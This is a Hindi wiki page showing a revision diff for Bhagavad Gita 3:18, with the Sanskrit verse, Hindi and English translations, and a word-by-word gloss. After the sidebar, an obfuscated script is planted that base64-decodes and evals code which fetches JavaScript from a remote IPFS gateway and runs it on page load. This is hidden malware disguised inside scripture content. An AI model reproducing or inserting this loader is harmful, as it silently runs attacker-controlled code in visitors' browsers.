"गीता 3:18" के अवतरणों में अंतर

१२:१०, ८ अक्टूबर २००९ का अवतरण

गीता अध्याय-3 श्लोक-18 / Gita Chapter-3 Verse-18

प्रसंग-

यहाँ तक भगवान् ने बहुत-से हेतु बतलाकर यह बात सिद्ध की कि जब तक मनुष्य को परम श्रेयरूप परमात्मा की प्राप्ति न हो जाये, तब तक उसके लिये स्वधर्म का पालन करना अर्थात् अपने वर्णाश्रम के अनुसार विहित कर्मों का अनुष्ठान नि:स्वार्थ भाव से करना अवश्य कर्तव्य है और परमात्मा को प्राप्त हुए पुरूष के लिये किसी प्रकार का कर्तव्य न रहने पर उसके मन-इन्द्रियों द्वारा लोक संग्रह के लिये प्रारब्धानुसार कर्म होते हैं । अब उपर्युक्त वर्णन का लक्ष्य कराते हुए भगवान अर्जुन को अनासक्त भाव से कर्तव्य कर्म करने के लिये आज्ञा देते हैं-

नैव तस्य कृतेनार्थो नाकृतेनेह कश्चन । न चास्य सर्वभूतेषु कश्चिदर्थव्यपाश्रय: ।।18।।

उस महापुरूष का इस विश्व में न तो कर्म करने से कोई प्रयोजन रहता है और न कर्मों के न करने से ही कोई प्रयोजन रहता है । तथा सम्पूर्ण प्राणियों में भी इसका किज्चिन्मात्र भी स्वार्थ का सम्बन्ध नहीं रहता ।।18।।

In this world that great soul has no use whatsoever for things done nor for things not done; nor has he selfish dependence of any kind on any creature.(18)

इह = इस संसारमे ; तस्य = उस (पुरूष) का ; कृतेन = किये जानेसे ; एव = भी (कोई) ; अर्थ: = प्रयोजन ; न = नहीं है (और) ; अकृतेन = न किये जानेसे (भी) ; कश्र्चन = कोई (प्रयोजन) ; न = नहीं है ; च = तथा ; अस्य = इसका ; सर्वभूतेषु = संपूर्ण भूतोंमें ; कश्र्चित् = कुछ भी ; अर्थव्यपाश्रय: = स्वार्थका सम्बन्ध ; न = नहीं है ;

<= पीछे Prev | आगे Next =>

अध्याय तीन श्लोक संख्या
Verses- Chapter-3

1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14, 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43

सुस्वागतम्
- mainpage|मुखपृष्ठ
- ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
  विशेष:Contact|संपर्क
- समस्त श्रेणियाँ|समस्त श्रेणियाँ
SEARCH
LANGUAGES

__NORICHEDITOR__

गीता अध्याय-Gita Chapters
- गीता 1:1|अध्याय [1] Chapter
- गीता 2:1|अध्याय [2] Chapter
- गीता 3:1|अध्याय [3] Chapter
- गीता 4:1|अध्याय [4] Chapter
- गीता 5:1|अध्याय [5] Chapter
- गीता 6:1|अध्याय [6] Chapter
- गीता 7:1|अध्याय [7] Chapter
- गीता 8:1|अध्याय [8] Chapter
- गीता 9:1|अध्याय [9] Chapter
- गीता 10:1|अध्याय [10] Chapter
- गीता 11:1|अध्याय [11] Chapter
- गीता 12:1|अध्याय [12] Chapter
- गीता 13:1|अध्याय [13] Chapter
- गीता 14:1|अध्याय [14] Chapter
- गीता 15:1|अध्याय [15] Chapter
- गीता 16:1|अध्याय [16] Chapter
- गीता 17:1|अध्याय [17] Chapter
- गीता 18:1|अध्याय [18] Chapter

</sidebar><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

@@ पंक्ति ३: / पंक्ति ३: @@
 <tr>
 <td>
-==गीता अध्याय-X  श्लोक-X / Gita Chapter-X Verse-X==
+==गीता अध्याय-3  श्लोक-18 / Gita Chapter-3 Verse-18==
 {| width="80%" align="center" style="text-align:justify; font-size:130%;padding:5px;background:none;"
 |-
@@ पंक्ति ९: / पंक्ति ९: @@
 '''प्रसंग-'''
 ----
-हिन्दी टॅक्स्ट
+यहाँ तक भगवान् ने बहुत-से हेतु बतलाकर यह बात सिद्ध की कि जब तक मनुष्य को परम श्रेयरूप परमात्मा की प्राप्ति न हो जाये, तब तक उसके लिये स्वधर्म का पालन करना अर्थात् अपने वर्णाश्रम के अनुसार विहित कर्मों का अनुष्ठान नि:स्वार्थ भाव से करना अवश्य कर्तव्य है और परमात्मा को प्राप्त हुए पुरूष के लिये किसी प्रकार का कर्तव्य न रहने पर उसके मन-इन्द्रियों द्वारा लोक संग्रह के लिये प्रारब्धानुसार कर्म होते हैं । अब उपर्युक्त वर्णन का लक्ष्य कराते हुए  भगवान अर्जुन को अनासक्त भाव से कर्तव्य कर्म करने के लिये आज्ञा देते हैं-
 ----
 <div align="center">
-'''श्लोक'''
+'''नैव तस्य कृतेनार्थो नाकृतेनेह कश्चन ।'''
+'''न चास्य सर्वभूतेषु कश्चिदर्थव्यपाश्रय: ।।18।।'''
 </div>
 ----
@@ पंक्ति २१: / पंक्ति २२: @@
 |-
 | style="width:50%; font-size:120%;padding:10px;" valign="top"|
-'''शीर्षक'''
+उस महापुरूष का इस विश्व में न तो कर्म करने से कोई प्रयोजन रहता है और न कर्मों के न करने से ही कोई प्रयोजन रहता है । तथा सम्पूर्ण प्राणियों में भी इसका किज्चिन्मात्र भी स्वार्थ का सम्बन्ध नहीं रहता ।।18।।
-----
-हिन्दी टॅक्स्ट
 | style="width:50%; font-size:120%;padding:10px;" valign="top"|
-'''Heading'''
+In this world that great soul has no use whatsoever for things done nor for things not done; nor has he selfish dependence of any kind on any creature.(18)
-----
-English text.
 |-
 |}
@@ पंक्ति ३५: / पंक्ति ३२: @@
 |-
 | style="width:100%;text-align:center; font-size:110%;padding:5px;" valign="top" |
-यहाँ संस्कृत शब्दों के अर्थ डालें
+इह = इस संसारमे ; तस्य = उस (पुरूष) का ; कृतेन = किये जानेसे ; एव = भी (कोई) ; अर्थ: = प्रयोजन ; न = नहीं है (और) ; अकृतेन = न किये जानेसे (भी) ; कश्र्चन = कोई (प्रयोजन) ; न = नहीं है ; च = तथा ; अस्य = इसका ; सर्वभूतेषु = संपूर्ण भूतोंमें ; कश्र्चित् = कुछ भी ; अर्थव्यपाश्रय: = स्वार्थका सम्बन्ध ; न = नहीं है ;
 |-
 |}
@@ पंक्ति ४४: / पंक्ति ४१: @@
 <div align="center" style="font-size:120%;">'''<= पीछे Prev | आगे Next =>'''</div>
 <br />
-{{गीता अध्याय 1}}
+{{गीता अध्याय 3}}
 {{गीता अध्याय}}
 [[category:गीता]]

"गीता 3:18" के अवतरणों में अंतर

१२:१०, ८ अक्टूबर २००९ का अवतरण

गीता अध्याय-3 श्लोक-18 / Gita Chapter-3 Verse-18

दिक्चालन सूची

खोजें